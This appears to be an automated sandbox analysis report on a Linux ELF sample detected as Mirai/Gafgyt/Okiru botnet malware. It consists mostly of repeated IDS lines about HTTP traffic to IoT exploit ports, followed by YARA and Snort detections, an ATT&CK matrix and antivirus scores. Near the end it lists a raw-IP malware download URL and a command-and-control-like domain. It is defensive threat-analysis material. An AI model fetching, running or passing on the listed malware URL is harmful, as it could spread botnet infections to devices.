Source: unknown	Network traffic detected: HTTP traffic on port 34876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34742 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49020 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38498 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35262 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55982 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54108 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51580 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55328 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35866 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48928 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54942 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45876 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42356 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52194 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45508 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42512 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34076 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37800 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53102 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34854 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58896 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56664 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49144 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32896 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60188 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37824 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55022 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38986 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58708 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48748 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47722 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43380 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36260 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53158 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59960 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44078 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42966 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43258 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36184 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36246 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59354 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41664 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34248 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48552 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43646 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54398 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36832 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45062 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60854 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34638 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52950 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45830 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45436 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39328 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59042 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54496 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37260 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43730 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51850 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50630 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41860 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50872 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58274 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59198 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56802 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38066 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58180 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51104 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49160 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60976 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36500 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56232 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49596 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48974 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37676 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49202 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56604 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59554 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45802 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46996 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55440 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55318 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38244 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51078 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47294 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36472 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38312 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55674 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59114 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37572 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32928 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38324 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44652 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34000 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59360 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42542 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38628 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36690 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45366 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39834 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60766 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56520 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37476 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41792 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59322 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39084 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53988 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47358 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34978 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39060 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56352 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45160 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40550 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47142 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35412 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42246 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35458 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36734 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47292 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46848 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54706 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58418 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42506 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53808 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57474 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60292 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48110 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46712 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60466 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34792 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56196 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40628 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55534 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54060 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41572 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57894 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38178 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55130 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52114 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34400 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44018 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44418 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53054 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51228 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41322 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35762 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36394 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36456 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33294 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57712 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43274 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57892 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59624 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36874 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55726 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43010 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58190 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53578 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42110 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34154 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50972 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54166 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54436 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42446 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59082 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51986 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52968 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57810 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58148 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40866 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33412 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47720 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38950 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46242 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56496 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32980 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36456 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33294 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36394 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35762 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59624 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43274 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57712 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50972 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34154 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57892 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55726 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43010 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42110 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53578 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54166 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54436 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36874 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59082 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42446 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57810 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58190 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51986 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52968 -> 8081

Source: /tmp/K8vjjv1Tcx.elf (PID: 5491)

Queries kernel information via 'uname':

Jump to behavior

Source: K8vjjv1Tcx.elf, 5491.1.00007fff88810000.00007fff88831000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: K8vjjv1Tcx.elf, 5491.1.0000560dcdc82000.0000560dcdce5000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: K8vjjv1Tcx.elf, 5491.1.0000560dcdc82000.0000560dcdce5000.rw-.sdmp	Binary or memory string: V5!/etc/qemu-binfmt/sh4
Source: K8vjjv1Tcx.elf, 5491.1.00007fff88810000.00007fff88831000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/K8vjjv1Tcx.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/K8vjjv1Tcx.elf

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: K8vjjv1Tcx.elf, type: SAMPLE
Source: Yara match	File source: 5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: K8vjjv1Tcx.elf, type: SAMPLE
Source: Yara match	File source: 5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: K8vjjv1Tcx.elf PID: 5491, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: K8vjjv1Tcx.elf, type: SAMPLE
Source: Yara match	File source: 5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: K8vjjv1Tcx.elf PID: 5491, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Yara detected Gafgyt

Source: Yara match	File source: K8vjjv1Tcx.elf, type: SAMPLE
Source: Yara match	File source: 5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: K8vjjv1Tcx.elf, type: SAMPLE
Source: Yara match	File source: 5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: K8vjjv1Tcx.elf PID: 5491, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: K8vjjv1Tcx.elf, type: SAMPLE
Source: Yara match	File source: 5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: K8vjjv1Tcx.elf PID: 5491, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
K8vjjv1Tcx.elf	56%	Virustotal		Browse
K8vjjv1Tcx.elf	50%	ReversingLabs	Linux.Backdoor.Gafgyt
K8vjjv1Tcx.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
vector.mineheaven.org	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://127.0.0.1:52869/picdesc.xml	0%	Avira URL Cloud	safe
http://15.235.203.214/bolonetwork.x86	100%	Avira URL Cloud	malware
http://15.235.203.214/bolonetwork.x86	0%	Virustotal		Browse
http://purenetworks.com/HNAP1/	0%	Avira URL Cloud	safe
